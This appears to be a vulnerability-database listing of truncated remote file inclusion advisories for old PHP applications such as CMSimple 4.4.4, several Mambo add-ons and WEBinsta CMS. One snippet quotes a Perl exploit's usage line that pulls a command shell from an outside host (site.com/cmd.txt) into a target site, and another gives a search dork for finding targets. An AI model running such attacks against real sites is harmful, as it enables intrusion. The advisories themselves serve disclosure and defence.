CMSimple 4.4.4 RFI / Code Execution / Default Password

Exploit Title : CMSimple 4.4.4 various security vulnerability Author : Govind Singh aka NullPort Vendor : http://cmsimple.org/ Download Link : http://www.cmsimple.org/downloadcounter/dlcount/count.php?id=31 Date : 26/07/2014 Discovered at : IHT Lab 1ND14N H4X0R5 T34M Love to : Manish Tanwar,...

CMSimple 4.4.4 - Remote File Inclusion

CMSimple 4.4.4 - Remote File Inclusion source: https://www.securityfocus.com/bid/68961/info CMSimple is prone to multiple security vulnerabilities including: 1. Multiple arbitrary PHP code-execution vulnerabilities 2. A weak authentication security-bypass vulnerability 3. Multiple security...

CMSimple 4.4.4 - Remote File Inclusion

source: https://www.securityfocus.com/bid/68961/info CMSimple is prone to multiple security vulnerabilities including: 1. Multiple arbitrary PHP code-execution vulnerabilities 2. A weak authentication security-bypass vulnerability 3. Multiple security vulnerabilities An attacker can exploit these...

Web Servers Tosmo Mambo Remote File Inclusion (CVE-2007-2317)

A Remote File Inclusion vulnerability has been reported in Tosmo Mambo. The vulnerability is due to lack of sanitization for user-supplied data. Successful exploitation of this vulnerability could allow a remote attacker to execute arbitrary code on the affected system. This protection was...

Web Servers mxBB MX Smartor Remote File Inclusion (CVE-2007-2189)

A Remote File Inclusion vulnerability has been reported in mxBB MX Smartor. The vulnerability is due to lack of sanitization for user-supplied data. Successful exploitation of this vulnerability could allow a remote attacker to execute arbitrary code on the affected system. This protection was...

Web Servers PHPFullAnnu Remote File Inclusion (CVE-2006-4644)

A Remote File Inclusion vulnerability has been reported in phpFullAnnu. The vulnerability is due to lack of sanitization for user-supplied data. Successful exploitation of this vulnerability could allow a remote attacker to execute arbitrary code on the affected system. This protection was...

Web Servers PHPCodeCabinet Remote File Inclusion (CVE-2006-4044)

A Remote File Inclusion vulnerability has been reported in PHPCodeCabinet. The vulnerability is due to lack of sanitization for user-supplied data. Successful exploitation of this vulnerability could allow a remote attacker to execute arbitrary code on the affected system. This protection was...

Open Web Analytics 1.5.7 Cross Site Scripting / Remote File Inclusion

Exploit Title : Open Web Analytics - v: 1.5.7 multiple vulnerability Author : Govind Singh aka NullPort Vendor : http://www.openwebanalytics.com/ Download Link : http://downloads.openwebanalytics.com/ Google Dork : "powered by Open Web Analytics" Date : 14/07/2014 Discovered at : IHT Lab 1ND14N...

Web Servers W-Agora Remote File Inclusion (CVE-2002-1878)

A Remote File Inclusion vulnerability has been reported in W-Agora. The vulnerability is due to lack of sanitization for user-supplied data. Successful exploitation of this vulnerability could allow a remote attacker to execute arbitrary code on the affected system. This protection was previously...

Web Servers Frequency Clock Remote File Inclusion (CVE-2007-2936)

A Remote File Inclusion vulnerability has been reported in Frequency Clock. The vulnerability is due to lack of sanitization for user-supplied data. Successful exploitation of this vulnerability could allow a remote attacker to execute arbitrary code on the affected system. This protection was...

Web Servers BurnCMS Remote File Inclusion (CVE-2007-2364)

A Remote File Inclusion vulnerability has been reported in BurnCMS. The vulnerability is due to lack of sanitization for user-supplied data. Successful exploitation of this vulnerability could allow a remote attacker to execute arbitrary code on the affected system. This protection was previously...

Web Servers CBSMS Mambo Remote File Inclusion (CVE-2006-3294)

A Remote File Inclusion vulnerability has been reported in CBSMS Mambo. The vulnerability is due to lack of sanitization for user-supplied data. Successful exploitation of this vulnerability could allow a remote attacker to execute arbitrary code on the affected system. This protection was...

Web Servers WAnewsletter Remote File Inclusion (CVE-2007-2969)

A Remote File Inclusion vulnerability has been reported in WAnewsletter. The vulnerability is due to lack of sanitization for user-supplied data. Successful exploitation of this vulnerability could allow a remote attacker to execute arbitrary code on the affected system. This protection was...

WordPress WP ecommerce Shop Styling 'dompdf' Remote File Inclusion Vulnerability

WordPress WP ecommerce Shop Styling Plugin is prone to a remote file inclusion vulnerability. SPDX-FileCopyrightText: 2014 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only C...

redaxo cms 4.2.1 - Remote File Inclusion Vulnerability

No description provided by source...

joomla component com_colorlab 1.0 - Remote File Inclusion Vulnerability

No description provided by source. -------------------- Joomla comcolorlab Remote File Include -------------------- Found : xoron -------------------- Download: http://download.joomlaportal.ch/content/view/474/ -------------------- Wrong Code: include...

PHPBB 1.2.4 For Mambo Multiple Remote File Include Vulnerabilities

No description provided by source. source: http://www.securityfocus.com/bid/18914/info phpBB for Mambo is prone to multiple remote file-include vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. An attacker can exploit these issues to...

ovidentia 5.6.x/5.8 vacadma.php babInstallPath Parameter Remote File Inclusion

No description provided by source. source: http://www.securityfocus.com/bid/18232/info Ovidentia is prone to multiple remote file-include vulnerabilities because the application fails to properly sanitize user-supplied input. An attacker can exploit these issues to include arbitrary remote files...

WEBinsta CMS <= 0.3.1 (templates_dir) Remote File Include Exploit

No description provided by source. !/usr/bin/perl WEBinsta CMS 0.3.1 templatesdir Remote File Inclusion Exploit Bug Found & code By K-159 echo.or.id c 2006 usage: perl WEBinsta.pl target cmd shell location cmd shell variable perl WEBinsta.pl http://target.com/ http://site.com/cmd.txt cmd cmd shel...

RobotStats 0.1 - graph.php DOCUMENT_ROOT Parameter Remote File Inclusion

No description provided by source. source: http://www.securityfocus.com/bid/28615/info RobotStats is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data. Exploiting these issues may allow an attacker to compromise the application and...